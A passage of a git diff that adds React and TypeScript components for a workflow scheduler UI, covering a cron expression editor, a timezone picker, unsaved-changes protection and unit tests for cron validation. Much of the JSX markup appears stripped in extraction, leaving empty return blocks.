RETURN_EXISTING = "RETURN_EXISTING", + FAIL_ON_RUNNING = "FAIL_ON_RUNNING", +} diff --git a/ui-next/src/pages/scheduler/CronExpressionHelp.tsx b/ui-next/src/pages/scheduler/CronExpressionHelp.tsx new file mode 100644 index 0000000..d772dac --- /dev/null +++ b/ui-next/src/pages/scheduler/CronExpressionHelp.tsx @@ -0,0 +1,121 @@ +import { Box } from "@mui/material"; +import { CRON_COLORS_BY_POSITION } from "./constants"; + +type Props = { + highlightedPart?: number | null; +}; + +const CronExpressionHelp = ({ highlightedPart }: Props) => { + const items = [ + { text: "Second (0-59)", color: CRON_COLORS_BY_POSITION[0] }, + { text: "Minute (0-59)", color: CRON_COLORS_BY_POSITION[1] }, + { text: "Hour (0-23)", color: CRON_COLORS_BY_POSITION[2] }, + { text: "Day of Month (1-31)", color: CRON_COLORS_BY_POSITION[3] }, + { text: "Month (1-12, JAN-DEC)", color: CRON_COLORS_BY_POSITION[4] }, + { text: "Day of Week (1-7 or MON-SUN)", color: CRON_COLORS_BY_POSITION[5] }, + ]; + const width = 180; + const height = 120; + + return ( + + + + {items.map((item, index) => { + const xStep = width / items.length; + const yStep = height / items.length; + return ( + + ); + })} + + + {items.map((item, index) => { + const blockWidth = width / items.length; + return ( + + * + + ); + })} + + + + + {items.map((item, index) => { + const blockHeight = height / items.length; + return ( + + {item.text} + + ); + })} + + + + ); +}; + +export default CronExpressionHelp; diff --git a/ui-next/src/pages/scheduler/SaveProtectionPrompt.tsx b/ui-next/src/pages/scheduler/SaveProtectionPrompt.tsx new file mode 100644 index 0000000..29a2ca3 --- /dev/null +++ b/ui-next/src/pages/scheduler/SaveProtectionPrompt.tsx @@ -0,0 +1,162 @@ +import fastDeepEqual from "fast-deep-equal"; +import _isEmpty from "lodash/isEmpty"; +import { FunctionComponent, useMemo } from "react"; +import BlockNavigationWithConfirmation from "components/BlockNavigationWithConfirmation"; +import { useSaveProtection } from "shared/useSaveProtection"; +import { ActorRef, AnyEventObject, EventObject } from "xstate"; + +export interface SaveProtectionPromptProps { + isInFormView: number; + data: Record; + initialFormData: Record; + changedCodeData: Record; + actor?: ActorRef; + isSaveInProgress?: boolean; + hasErrors?: boolean; + onSave?: () => void; +} + +// Component that uses useSaveProtection with an actor +const SaveProtectionPromptWithActor: FunctionComponent<{ + actor: ActorRef; + noFormChanges: boolean; + isSaveInProgressProp?: boolean; + hasErrorsProp?: boolean; + onSave?: () => void; +}> = ({ + actor, + noFormChanges, + isSaveInProgressProp, + hasErrorsProp, + onSave, +}) => { + const saveProtectionResult = useSaveProtection< + Record, + EventObject + >({ + actor, + noFormChanges, + isSaveInProgress: (state) => { + // Check if we're in a saving state + const context = state.context as Record; + if (typeof context.isSaving === "boolean") { + return context.isSaving; + } + if (typeof context.isConfirmingSave === "boolean") { + return context.isConfirmingSave; + } + return isSaveInProgressProp ?? false; + }, + hasErrors: (state) => { + // Check for errors in context + const context = state.context as Record; + if (typeof context.hasErrors === "boolean") { + return context.hasErrors; + } + if (typeof context.couldNotParseJson === "boolean") { + return context.couldNotParseJson; + } + if (context.error !== undefined) { + return true; + } + return hasErrorsProp ?? false; + }, + handleSaveAction: onSave + ? () => { + onSave(); + } + : () => { + // Default no-op if no handler provided + }, + }); + + return ( + + Your recent changes are not saved to the server. To run the new + schedule, you have to save your progress. + + } + title={"Unsaved schedule confirmation"} + block={saveProtectionResult.showPrompt} + onSave={saveProtectionResult.handleSave} + successfulSave={saveProtectionResult.successfulSave} + hasErrors={saveProtectionResult.hasErrors} + /> + ); +}; + +// Component that uses fallback logic without actor +const SaveProtectionPromptWithoutActor: FunctionComponent<{ + noFormChanges: boolean; + isSaveInProgress?: boolean; + hasErrors?: boolean; + onSave?: () => void; +}> = ({ noFormChanges, isSaveInProgress, hasErrors, onSave }) => { + const showPrompt = useMemo( + () => !noFormChanges && !(isSaveInProgress ?? false), + [noFormChanges, isSaveInProgress], + ); + + return ( + + Your recent changes are not saved to the server. To run the new + schedule, you have to save your progress. + + } + title={"Unsaved schedule confirmation"} + block={showPrompt} + onSave={onSave ?? (() => {})} + successfulSave={undefined} + hasErrors={hasErrors ?? false} + /> + ); +}; + +export const SaveProtectionPrompt: FunctionComponent< + SaveProtectionPromptProps +> = ({ + data, + initialFormData, + changedCodeData, + isInFormView, + actor, + isSaveInProgress: isSaveInProgressProp, + hasErrors: hasErrorsProp, + onSave, +}) => { + const noFormChanges = useMemo(() => { + const formResult = fastDeepEqual(data, initialFormData); + const codeResult = !_isEmpty(changedCodeData) + ? fastDeepEqual(data, changedCodeData) + : true; + return isInFormView ? formResult : codeResult; + }, [data, initialFormData, changedCodeData, isInFormView]); + + // Use actor-based component if actor is provided, otherwise use fallback + if (actor) { + return ( + + ); + } + + return ( + + ); +}; diff --git a/ui-next/src/pages/scheduler/Schedule.tsx b/ui-next/src/pages/scheduler/Schedule.tsx new file mode 100644 index 0000000..b23b544 --- /dev/null +++ b/ui-next/src/pages/scheduler/Schedule.tsx @@ -0,0 +1,780 @@ +import { Monaco } from "@monaco-editor/react"; +import { + Box, + CircularProgress, + Grid, + Paper, + SxProps, + Tab, + Tabs, + Theme, + useMediaQuery, +} from "@mui/material"; +import { LinearProgress } from "components"; +import { DocLink } from "components/ui/DocLink"; +import { SnackbarMessage } from "components/ui/SnackbarMessage"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import { MessageContext } from "components/providers/messageContext"; +import { ConductorSectionHeader } from "components/layout/section/ConductorSectionHeader"; +import { IdempotencyStrategyEnum } from "pages/runWorkflow/types"; +import { useCallback, useContext, useMemo, useState } from "react"; +import { Helmet } from "react-helmet"; +import { useLocation, useParams } from "react-router"; +import SectionContainer from "components/ui/layout/SectionContainer"; +import { colors } from "theme/tokens/variables"; +import { IObject } from "types/common"; +import { DOC_LINK_URL } from "utils/constants/docLink"; +import { SCHEDULER_DEFINITION_URL } from "utils/constants/route"; +import { usePushHistory } from "utils/hooks/usePushHistory"; +import { getErrors } from "utils/index"; +import { useWorkflowDefsByVersions } from "utils/query"; +import { CronExpressionSection } from "./components/CronExpressionSection"; +import { ScheduleTimingSection } from "./components/ScheduleTimingSection"; +import { WorkflowConfigSection } from "./components/WorkflowConfigSection"; +import { useCronExpression } from "./hooks/useCronExpression"; +import { useScheduleFormHandlers } from "./hooks/useScheduleFormHandlers"; +import { useScheduleState } from "./hooks/useScheduleState"; +import { useWorkflowConfig } from "./hooks/useWorkflowConfig"; +import { SaveProtectionPrompt } from "./SaveProtectionPrompt"; +import ScheduleButtons from "./ScheduleButtons"; +import ScheduleDiffEditor from "./ScheduleDiffEditor"; +import { useSaveSchedule, useSchedule } from "./schedulerHooks"; +import { + codeToFormData, + formToCodeData, + getDateFromField, + JSONParse, +} from "./utils/scheduleTransformers"; + +export type ScheduleType = { + name: string; + description?: string; + cronExpression: string; + paused: boolean; + runCatchupScheduleInstances: boolean; + workflowType: string | null; + workflowVersion: string | null; + workflowVersions: string[]; + workflowInputTemplate: string; + taskToDomain: string; + workflowCorrelationId: string; + workflowIdempotencyKey?: string; + workflowIdempotencyStrategy?: IdempotencyStrategyEnum; + workflowDef: string | null; + externalInputPayloadStoragePath?: string; + scheduleStartTime: string | number; + scheduleEndTime: string | number; + priority: string; + zoneId?: string; + startWorkflowRequest?: Record; +}; + +export function Schedule() { + const { setMessage } = useContext(MessageContext); + const location = useLocation(); + const latestExecution = useMemo(() => location.state?.execution, [location]); + const [selectedTemplate, setSelectedTemplate] = useState(""); + const [timeoutHandler, setTimeoutHandler] = useState | null>(null); + + const params = useParams(); + const navigate = usePushHistory(); + const isNewScheduleDef = location.pathname === SCHEDULER_DEFINITION_URL.NEW; + let scheduleNameFromUrl = "New Scheduler"; + const isMDWidth = useMediaQuery((theme: Theme) => theme.breakpoints.up("md")); + + if (!isNewScheduleDef) { + scheduleNameFromUrl = params.name || "New Scheduler"; + } + + const { data: schedule, isLoading } = useSchedule( + isNewScheduleDef ? null : scheduleNameFromUrl, + ); + + const workflowDefByVersions = useWorkflowDefsByVersions(); + + // Custom hooks for state management + const { + scheduleState, + setScheduleState, + original, + initializeFromSchedule, + initializeFromExecution, + } = useScheduleState(latestExecution, schedule); + + const { + workflowNames, + workflowVersions, + setWorkflowType, + setWorkflowVersion, + } = useWorkflowConfig( + workflowDefByVersions, + scheduleState.workflowType || null, + scheduleState.workflowVersions, + scheduleState.workflowInputTemplate, + ); + + const [errorMessage, setErrorMessage] = useState(null); + const [errors, setErrors] = useState(null); + const [couldNotParseJson, setCouldNotParseJson] = useState(false); + + const clearError = useCallback( + (field: string) => { + if (errors) { + const updatedErrors = { ...errors }; + delete updatedErrors[field]; + setErrors(updatedErrors); + } + }, + [errors, setErrors], + ); + + const formHandlers = useScheduleFormHandlers( + scheduleState, + setScheduleState, + setErrors, + clearError, + errors, + setCouldNotParseJson, + () => {}, // setHighlightedPart will be handled by cron hook + ); + + const cronHook = useCronExpression( + scheduleState.cronExpression, + scheduleState.zoneId || "UTC", + (error) => { + if (error) { + setErrors((prevErrors: IObject | null) => ({ + ...prevErrors, + cronExpression: error, + })); + } else { + clearError("cronExpression"); + } + }, + ); + + const { mutate: saveSchedule, isLoading: isSavingSchedule } = useSaveSchedule( + { + onSuccess: () => { + setMessage({ + text: "Schedule definition saved successfully.", + severity: "success", + }); + navigate(SCHEDULER_DEFINITION_URL.BASE); + }, + + onError: async (response: Response) => { + const errors = await getErrors(response, (res) => ({ + message: `Error - ${res.status} - ${res.statusText}`, + })); + console.error("Errors: ", errors); + setErrors(errors); + if (response.status === 403) { + setErrorMessage( + `Error - You don't have permissions to schedule the selected workflow.`, + ); + } else { + if (errors.message) { + setErrorMessage(`Error - ${response.status} - ${errors.message}`); + } else { + setErrorMessage( + `Error - ${response.status} - ${response.statusText}`, + ); + } + } + setTimeoutHandler(setTimeout(() => setErrorMessage(null), 5000)); + cancelConfirmSave(); + }, + }, + ); + + // Memoized handlers using custom hooks + const handleWorkflowTypeChange = useCallback( + (workflowType: string) => { + setCouldNotParseJson(false); + if (errors && errors["startWorkflowRequest.name"]) { + clearError("startWorkflowRequest.name"); + } + const result = setWorkflowType(workflowType); + setScheduleState((prevState) => ({ + ...prevState, + workflowVersions: result.workflowVersions, + workflowVersion: "", + workflowType: workflowType, + workflowCorrelationId: "", + workflowInputTemplate: result.workflowInputTemplate, + })); + }, + [setWorkflowType, setScheduleState, errors, clearError], + ); + + const handleWorkflowVersionChange = useCallback( + (workflowVersion: string | null) => { + const result = setWorkflowVersion( + workflowVersion, + scheduleState.workflowType || null, + ); + setScheduleState((prevState) => ({ + ...prevState, + workflowVersion: + workflowVersion === "Latest version" ? "" : workflowVersion, + workflowInputTemplate: result.workflowInputTemplate, + })); + }, + [setWorkflowVersion, setScheduleState, scheduleState.workflowType], + ); + + // Initialize state when schedule data changes + useMemo(() => { + if (schedule) { + initializeFromSchedule(schedule); + } + }, [schedule, initializeFromSchedule]); + + useMemo(() => { + if (latestExecution?.workflowName) { + initializeFromExecution(latestExecution); + } + }, [latestExecution, initializeFromExecution]); + + // Memoized cron expression handler + const handleCronExpressionChange = useCallback( + (value: string, timezone: string) => { + cronHook.setCronExpression(value, timezone); + setScheduleState((prevState) => ({ + ...prevState, + cronExpression: value, + })); + }, + [cronHook, setScheduleState], + ); + + // Memoized values + const minWidthCronExpression = useMemo(() => { + if (selectedTemplate && isMDWidth) { + return "470px"; + } else if (!selectedTemplate && isMDWidth) { + return "initial"; + } + return "100%"; + }, [selectedTemplate, isMDWidth]); + + // Memoized handlers + const handleZoneIdChange = useCallback( + (value: string) => { + formHandlers.setZoneId(value); + handleCronExpressionChange(scheduleState.cronExpression, value); + }, + [formHandlers, handleCronExpressionChange, scheduleState.cronExpression], + ); + + const clearErrors = useCallback(() => { + if (timeoutHandler) { + clearTimeout(timeoutHandler); + } + setErrorMessage(""); + setErrors(null); + }, [timeoutHandler]); + + const saveScheduleSubmit = useCallback(() => { + clearErrors(); + + const start = getDateFromField(scheduleState.scheduleStartTime); + const to = getDateFromField(scheduleState.scheduleEndTime); + + let input; + try { + input = JSONParse(scheduleState.workflowInputTemplate); + } catch { + setErrorMessage("Invalid JSON: input params"); + return; + } + + let taskToDomain; + try { + taskToDomain = JSONParse(scheduleState.taskToDomain); + } catch { + setErrorMessage("Invalid JSON: tasks to domain mapping"); + return; + } + + const body = JSON.stringify({ + id: schedule?.id, + paused: scheduleState.paused, + runCatchupScheduleInstances: scheduleState.runCatchupScheduleInstances, + name: scheduleState.name, + description: scheduleState.description, + cronExpression: scheduleState.cronExpression, + scheduleStartTime: start, + scheduleEndTime: to, + startWorkflowRequest: { + name: scheduleState.workflowType, + version: scheduleState.workflowVersion, + input, + correlationId: scheduleState.workflowCorrelationId, + idempotencyKey: scheduleState?.workflowIdempotencyKey, + idempotencyStrategy: scheduleState?.workflowIdempotencyStrategy, + taskToDomain, + workflowDef: scheduleState.workflowDef, + externalInputPayloadStoragePath: + scheduleState.externalInputPayloadStoragePath, + priority: scheduleState.priority, + }, + zoneId: scheduleState.zoneId, + }); + + saveSchedule({ body } as any); + }, [scheduleState, schedule, clearErrors, setErrorMessage, saveSchedule]); + + const clearScheduleForm = useCallback(() => { + if (schedule) { + initializeFromSchedule(schedule); + } else { + // Reset to initial state + setScheduleState({ + name: "", + description: "", + cronExpression: "", + paused: false, + runCatchupScheduleInstances: false, + workflowType: null, + workflowVersion: null, + workflowVersions: [], + workflowInputTemplate: "", + taskToDomain: "", + workflowCorrelationId: "", + workflowIdempotencyKey: undefined, + workflowIdempotencyStrategy: undefined, + workflowDef: null, + externalInputPayloadStoragePath: undefined, + scheduleStartTime: "", + scheduleEndTime: "", + priority: "", + zoneId: "UTC", + }); + } + setIsInFormView(1); + }, [schedule, initializeFromSchedule, setScheduleState]); + + const [isInFormView, setIsInFormView] = useState(1); + const [isConfirmingSave, setIsConfirmingSave] = useState(false); + const [newData, setNewData] = useState(""); + const [transitionData, setTransitionData] = + useState | null>(null); + const [interimString, setInterimString] = useState(""); + + const MAX_WIDTH = "920px"; + const containerStyle: SxProps = { + maxWidth: MAX_WIDTH, + color: (theme) => + theme.palette?.mode === "dark" ? colors.gray14 : undefined, + backgroundColor: (theme) => theme.palette.customBackground.form, + px: 4, + }; + + const setSaveConfirmationOpen = useCallback(() => { + setIsConfirmingSave(true); + setIsInFormView(0); + if (interimString !== "") { + const body = codeToFormData(interimString, scheduleState); + setScheduleState(body); + setInterimString(""); + setTransitionData(null); + setNewData(interimString); + } else { + const start = getDateFromField(scheduleState.scheduleStartTime); + const to = getDateFromField(scheduleState.scheduleEndTime); + + let input; + try { + input = JSONParse(scheduleState.workflowInputTemplate); + } catch { + setErrorMessage("Invalid JSON: Input Params"); + return; + } + + let taskToDomain; + try { + taskToDomain = JSONParse(scheduleState.taskToDomain); + } catch { + setErrorMessage("Invalid JSON: Tasks to Domain Mapping"); + return; + } + + const body = JSON.stringify( + { + id: schedule?.id, + paused: scheduleState.paused, + runCatchupScheduleInstances: + scheduleState.runCatchupScheduleInstances, + name: scheduleState.name, + description: scheduleState.description, + cronExpression: scheduleState.cronExpression, + scheduleStartTime: start, + scheduleEndTime: to, + startWorkflowRequest: { + name: scheduleState.workflowType, + version: scheduleState.workflowVersion, + input: input ? input : {}, + correlationId: scheduleState.workflowCorrelationId, + idempotencyKey: scheduleState?.workflowIdempotencyKey, + idempotencyStrategy: scheduleState?.workflowIdempotencyStrategy, + taskToDomain: taskToDomain ? taskToDomain : {}, + externalInputPayloadStoragePath: + scheduleState.externalInputPayloadStoragePath, + priority: scheduleState.priority, + }, + zoneId: scheduleState.zoneId, + }, + null, + 2, + ); + setNewData(body); + } + }, [ + interimString, + scheduleState, + schedule, + setErrorMessage, + setScheduleState, + ]); + + const cancelConfirmSave = useCallback(() => { + const body = JSON.parse(newData); + setTransitionData(body); + setIsConfirmingSave(false); + }, [newData]); + + const handleChangeTab = useCallback( + (value: number) => { + if (value === 0) { + const body = formToCodeData(scheduleState, schedule); + setTransitionData(body); + } else { + if (interimString !== "") { + const body = codeToFormData(interimString, scheduleState); + body.workflowVersions = scheduleState.workflowVersions; + setScheduleState(body); + setInterimString(""); + setTransitionData(null); + } else { + if (newData) { + const body = codeToFormData(newData, scheduleState); + body.workflowVersions = scheduleState.workflowVersions; + setScheduleState(body); + setInterimString(""); + setTransitionData(null); + setNewData(""); + } else { + const body = codeToFormData( + JSON.stringify(transitionData), + scheduleState, + ); + setScheduleState(body); + } + } + } + setIsInFormView(value); + }, + [ + scheduleState, + schedule, + interimString, + newData, + transitionData, + setScheduleState, + ], + ); + + const handleChangeTransitionData = useCallback( + (data: string) => { + let parsedData: ScheduleType; + try { + parsedData = JSON.parse(data); + setCouldNotParseJson(false); + } catch { + setCouldNotParseJson(true); + return; + } + setScheduleState((prevState) => ({ + ...prevState, + name: parsedData?.name, + })); + setInterimString(data); + }, + [setScheduleState], + ); + + const diffEditorDidMount = useCallback( + (editor: Monaco) => { + const modifiedEditor = editor.getModifiedEditor(); + modifiedEditor.onDidChangeModelContent(() => { + const maybeText = modifiedEditor.getValue(); + if (typeof maybeText === "string") { + try { + JSON.parse(maybeText); + } catch { + return; + } + const body = codeToFormData(maybeText, scheduleState); + setNewData(maybeText); + setScheduleState(body); + } + }); + }, + [scheduleState, setScheduleState], + ); + + const initialFormData = useMemo( + () => + isNewScheduleDef + ? { + ...codeToFormData(JSON.stringify(original), scheduleState), + taskToDomain: "", + workflowInputTemplate: "", + workflowDef: null, + } + : codeToFormData(JSON.stringify(original), scheduleState), + [isNewScheduleDef, original, scheduleState], + ); + + const changedCodeData = useMemo( + () => (interimString ? codeToFormData(interimString, scheduleState) : {}), + [interimString, scheduleState], + ); + + return ( + + + Schedule Editor - {scheduleNameFromUrl} + + + } + /> + } + > + + {(isLoading || isSavingSchedule) && ( + + )} + + {errorMessage && ( + setErrorMessage(null)} + /> + )} + + + + handleChangeTab(newValue)} + > + + + + + + + + + {!isLoading ? ( + + theme.palette?.mode === "dark" + ? colors.gray14 + : undefined, + backgroundColor: (theme) => + theme.palette.customBackground.form, + }} + > + {isInFormView ? ( + + + + + formHandlers.setScheduleNewState("name", val) + } + error={errors?.name !== undefined} + helperText={errors ? errors?.name : undefined} + tooltip={{ + title: "Name", + content: "Changing name saves as a new schedule.", + }} + /> + + + + formHandlers.setScheduleNewState( + "description", + value, + ) + } + placeholder="Enter description" + /> + + + + + + + ) : ( + + + + )} + + ) : ( + + + + )} + + + + + + ); +} diff --git a/ui-next/src/pages/scheduler/ScheduleButtons.tsx b/ui-next/src/pages/scheduler/ScheduleButtons.tsx new file mode 100644 index 0000000..3e2b966 --- /dev/null +++ b/ui-next/src/pages/scheduler/ScheduleButtons.tsx @@ -0,0 +1,78 @@ +import { FunctionComponent } from "react"; +import { Button, Stack, useMediaQuery } from "@mui/material"; +import SaveIcon from "components/icons/SaveIcon"; +import XCloseIcon from "components/icons/XCloseIcon"; +import ResetIcon from "components/icons/ResetIcon"; +import { Theme } from "@mui/material/styles"; +import { useAuth } from "components/features/auth"; + +export interface ScheduleButtonsProps { + isConfirmingSave: boolean; + couldNotParseJson: boolean; + cancelConfirmSave: () => void; + saveScheduleSubmit: () => void; + clearScheduleForm: () => void; + setSaveConfirmationOpen: () => void; +} + +const VALID_WIDTH_BREAKPOINT = 491; + +const ScheduleButtons: FunctionComponent = ({ + isConfirmingSave, + couldNotParseJson, + cancelConfirmSave, + saveScheduleSubmit, + clearScheduleForm, + setSaveConfirmationOpen, +}) => { + const { isTrialExpired } = useAuth(); + const isValidWidth = useMediaQuery((theme: Theme) => + theme.breakpoints.down(VALID_WIDTH_BREAKPOINT), + ); + + return ( + + {isConfirmingSave ? ( + + + + + ) : ( + + + + + )} + + ); +}; +export default ScheduleButtons; diff --git a/ui-next/src/pages/scheduler/ScheduleDiffEditor.jsx b/ui-next/src/pages/scheduler/ScheduleDiffEditor.jsx new file mode 100644 index 0000000..680146d --- /dev/null +++ b/ui-next/src/pages/scheduler/ScheduleDiffEditor.jsx @@ -0,0 +1,95 @@ +import Editor from "@monaco-editor/react"; +import { Box } from "@mui/material"; +import { DiffEditor } from "components/ui/DiffEditor"; +import { useCallback, useContext, useRef } from "react"; +import { defaultEditorOptions } from "shared/editor"; +import { ColorModeContext } from "theme/material/ColorModeContext"; +import { configureMonaco } from "utils/monacoUtils/CodeEditorUtils"; + +function ScheduleDiffEditor({ + data, + newData, + original, + handleChange, + isConfirmingSave, + handleDiffEditorMount, +}) { + const { mode } = useContext(ColorModeContext); + const monacoObjects = useRef(null); + const minEditor_Width = 590; + const darkMode = mode === "dark"; + const editorTheme = darkMode ? "vs-dark" : "vs-light"; + const editorState = { + editorOptions: { + ...defaultEditorOptions, + selectOnLineNumbers: true, + }, + }; + + const handleChangeTest = (changedData) => { + handleChange(changedData); + }; + const editorDidMount = useCallback( + (editor) => { + monacoObjects.current = editor; + }, + [monacoObjects], + ); + const handleEditorWillMount = useCallback((monaco) => { + configureMonaco(monaco); + }, []); + + return ( + <> + + + {isConfirmingSave ? ( + + ) : ( + { + handleChangeTest(maybeText); + }} + /> + )} + + + + ); +} +export default ScheduleDiffEditor; diff --git a/ui-next/src/pages/scheduler/TimezonePicker.tsx b/ui-next/src/pages/scheduler/TimezonePicker.tsx new file mode 100644 index 0000000..4541a4f --- /dev/null +++ b/ui-next/src/pages/scheduler/TimezonePicker.tsx @@ -0,0 +1,31 @@ +import { ConductorAutoComplete } from "components/ui/inputs/ConductorAutoComplete"; +import timezones from "./timezones.json"; + +type TimezonePickerProps = { + timezone: string; + onChange: (newValue: any) => void; + error: boolean; + helperText: string; +}; + +export const TimezonePicker = ({ + timezone, + onChange, + error, + helperText, +}: TimezonePickerProps) => { + return ( + onChange(value)} + /> + ); +}; diff --git a/ui-next/src/pages/scheduler/__tests__/Schedule.test.tsx b/ui-next/src/pages/scheduler/__tests__/Schedule.test.tsx new file mode 100644 index 0000000..2678a96 --- /dev/null +++ b/ui-next/src/pages/scheduler/__tests__/Schedule.test.tsx @@ -0,0 +1,682 @@ +import { ThemeProvider, createTheme } from "@mui/material/styles"; +import { + fireEvent, + render, + screen, + renderHook, + waitFor, +} from "@testing-library/react"; +import React from "react"; +import { formatInTimeZone } from "utils/date"; +import { TimezonePicker } from "../TimezonePicker"; +import { cronExpressionIsValid } from "utils/cronHelpers"; +import cronstrue from "cronstrue"; +import { useCronExpression } from "../hooks/useCronExpression"; + +// Mock the timezones data +vi.mock("../timezones.json", () => ({ + default: [ + "UTC", + "America/New_York", + "Europe/London", + "Asia/Tokyo", + "Australia/Sydney", + ], +})); + +// Mock the ConductorAutoComplete component to render a simple select +vi.mock("components/ui/inputs/ConductorAutoComplete", () => ({ + ConductorAutoComplete: ({ value, onChange, options, ...props }: any) => ( +
      + + +
      + ), +})); + +// Create a test wrapper with theme +const TestWrapper = ({ children }: { children: React.ReactNode }) => { + const theme = createTheme(); + return {children}; +}; + +describe("Schedule Component - TimezonePicker Integration Tests", () => { + it("should render TimezonePicker component (used in Schedule)", () => { + const mockOnChange = vi.fn(); + + render( + + + , + ); + + // Check that the TimezonePicker component renders (this is what Schedule uses) + expect(screen.getByTestId("timezone-picker")).toBeInTheDocument(); + expect(screen.getByTestId("timezone-select")).toBeInTheDocument(); + expect(screen.getByText("Select Timezone")).toBeInTheDocument(); + }); + + it("should handle timezone selection changes (Schedule functionality)", () => { + const mockOnChange = vi.fn(); + + render( + + + , + ); + + const select = screen.getByTestId("timezone-select"); + + // Change the timezone selection (this simulates what happens in Schedule) + fireEvent.change(select, { target: { value: "Europe/London" } }); + + // Verify the onChange was called with the new value + expect(mockOnChange).toHaveBeenCalledWith("Europe/London"); + }); + + it("should work with formatInTimeZone when timezone changes (Schedule integration)", () => { + const mockOnChange = vi.fn(); + const testTime = "2024-01-15T14:30:00Z"; + const formatString = "yyyy-MM-dd HH:mm:ss zzz"; + + render( + + + , + ); + + const select = screen.getByTestId("timezone-select"); + + // Test initial timezone (this is what Schedule does with futureMatches) + expect(() => { + const result = formatInTimeZone(testTime, formatString, "UTC"); + expect(result).toMatch(/^\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2} .+$/); + }).not.toThrow(); + + // Simulate changing to a different timezone (Schedule timezone selection) + fireEvent.change(select, { target: { value: "America/New_York" } }); + + // Test that formatInTimeZone works with the new timezone (Schedule futureMatches display) + expect(() => { + const result = formatInTimeZone( + testTime, + formatString, + "America/New_York", + ); + expect(result).toMatch(/^\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2} .+$/); + // The result should be different due to timezone conversion + expect(result).not.toBe(formatInTimeZone(testTime, formatString, "UTC")); + }).not.toThrow(); + }); + + it("should display all available timezone options (Schedule timezone picker)", () => { + const mockOnChange = vi.fn(); + + render( + + + , + ); + + // Check that all timezone options are available (Schedule timezone selection) + expect(screen.getByRole("option", { name: "UTC" })).toBeInTheDocument(); + expect( + screen.getByRole("option", { name: "America/New_York" }), + ).toBeInTheDocument(); + expect( + screen.getByRole("option", { name: "Europe/London" }), + ).toBeInTheDocument(); + expect( + screen.getByRole("option", { name: "Asia/Tokyo" }), + ).toBeInTheDocument(); + expect( + screen.getByRole("option", { name: "Australia/Sydney" }), + ).toBeInTheDocument(); + }); + + it("should catch the original formatInTimeZone parameter order bug", () => { + const testTime = "2024-01-15T14:30:00Z"; + const timezone = "UTC"; + const formatString = "yyyy-MM-dd HH:mm:ss zzz"; + + // Test correct usage (should work) + expect(() => { + formatInTimeZone(testTime, formatString, timezone); + }).not.toThrow(); + + // Test wrong usage (should throw - this was the original bug) + expect(() => { + formatInTimeZone(testTime, timezone, formatString); // Wrong parameter order + }).toThrow(/Invalid time value/); + }); +}); + +describe("Schedule Component - Cron Expression Validation Tests", () => { + // All cron expression samples from CronExpressionSection.tsx + const cronSamples = [ + { expr: "* * * ? * *", desc: "Every second" }, + { expr: "0 * * ? * *", desc: "Every minute" }, + { expr: "0 */2 * ? * *", desc: "Every 2 minutes" }, + { expr: "0 1/2 * ? * *", desc: "Every 2 minutes starting at minute 1" }, + { expr: "0 */30 * ? * *", desc: "Every 30 minutes" }, + { expr: "0 15,30,45 * ? * *", desc: "At minutes 15, 30, and 45" }, + { expr: "0 0 * ? * *", desc: "Every hour" }, + { expr: "0 0 */2 ? * *", desc: "Every 2 hours" }, + { expr: "0 0 0/2 ? * *", desc: "Every 2 hours starting at midnight" }, + { expr: "0 0 1/2 ? * *", desc: "Every 2 hours starting at 1 AM" }, + { expr: "0 0 0 * * ?", desc: "Daily at midnight" }, + { expr: "0 0 1 * * ?", desc: "Daily at 1 AM" }, + { expr: "0 0 6 * * ?", desc: "Daily at 6 AM" }, + { expr: "0 0 12 ? * SUN", desc: "Every Sunday at noon" }, + { expr: "0 0 12 ? * MON-FRI", desc: "Every weekday at noon" }, + { expr: "0 0 12 ? * SUN,SAT", desc: "Every weekend at noon" }, + { expr: "0 0 12 */7 * ?", desc: "Every 7 days at noon" }, + { expr: "0 0 12 1 * ?", desc: "First day of month at noon" }, + { expr: "0 0 12 15 * ?", desc: "15th day of month at noon" }, + { expr: "0 0 12 1/4 * ?", desc: "Every 4 days starting on 1st at noon" }, + { expr: "0 0 12 L * ?", desc: "Last day of month at noon" }, + { expr: "0 0 12 L-2 * ?", desc: "2 days before last day of month at noon" }, + { expr: "0 0 12 1W * ?", desc: "Nearest weekday to 1st at noon" }, + { expr: "0 0 12 15W * ?", desc: "Nearest weekday to 15th at noon" }, + { expr: "0 0 12 ? * 2#1", desc: "First Monday of month at noon" }, + { expr: "0 0 12 ? * 6#2", desc: "Second Friday of month at noon" }, + { expr: "0 0 12 ? JAN *", desc: "Every day in January at noon" }, + { + expr: "0 0 12 ? JAN,JUN *", + desc: "Every day in January and June at noon", + }, + { + expr: "0 0 12 ? JAN,FEB,APR *", + desc: "Every day in Jan, Feb, Apr at noon", + }, + { expr: "0 0 12 ? 9-12 *", desc: "Every day Sept-Dec at noon" }, + ]; + + it.each(cronSamples)( + "should validate and humanize cron expression: $expr", + ({ expr, desc: _desc }) => { + // Test that expression is valid + const validation = cronExpressionIsValid(expr); + expect(validation.isValid).toBe(true); + expect(validation.errors).toBeNull(); + + // Test that cronstrue can humanize it + expect(() => { + const humanized = cronstrue.toString(expr); + expect(humanized).toBeTruthy(); + expect(typeof humanized).toBe("string"); + }).not.toThrow(); + }, + ); + + it("should specifically validate L-2 pattern (2 days before last day of month)", () => { + const expr = "0 0 12 L-2 * ?"; + + // Validate the expression + const validation = cronExpressionIsValid(expr); + expect(validation.isValid).toBe(true); + expect(validation.errors).toBeNull(); + + // Test humanization + const humanized = cronstrue.toString(expr); + expect(humanized).toBe( + "At 12:00 PM, 2 days before the last day of the month", + ); + }); + + it("should validate various L-n offset patterns", () => { + const offsetPatterns = [ + { expr: "0 0 12 L-1 * ?", offset: 1 }, + { expr: "0 0 12 L-2 * ?", offset: 2 }, + { expr: "0 0 12 L-5 * ?", offset: 5 }, + { expr: "0 0 12 L-10 * ?", offset: 10 }, + ]; + + offsetPatterns.forEach(({ expr, offset }) => { + const validation = cronExpressionIsValid(expr); + expect(validation.isValid).toBe(true); + + const humanized = cronstrue.toString(expr); + // cronstrue doesn't handle singular/plural correctly, so just check for the number + expect(humanized).toContain(`${offset} day`); + expect(humanized).toContain("before the last day of the month"); + }); + }); + + it("should detect L-n pattern correctly", () => { + const hasLOffsetPattern = (cronExpr: string) => /\bL-\d+\b/.test(cronExpr); + + // Should match L-n patterns + expect(hasLOffsetPattern("0 0 12 L-2 * ?")).toBe(true); + expect(hasLOffsetPattern("0 0 12 L-5 * ?")).toBe(true); + expect(hasLOffsetPattern("0 0 12 L-10 * ?")).toBe(true); + + // Should NOT match regular L + expect(hasLOffsetPattern("0 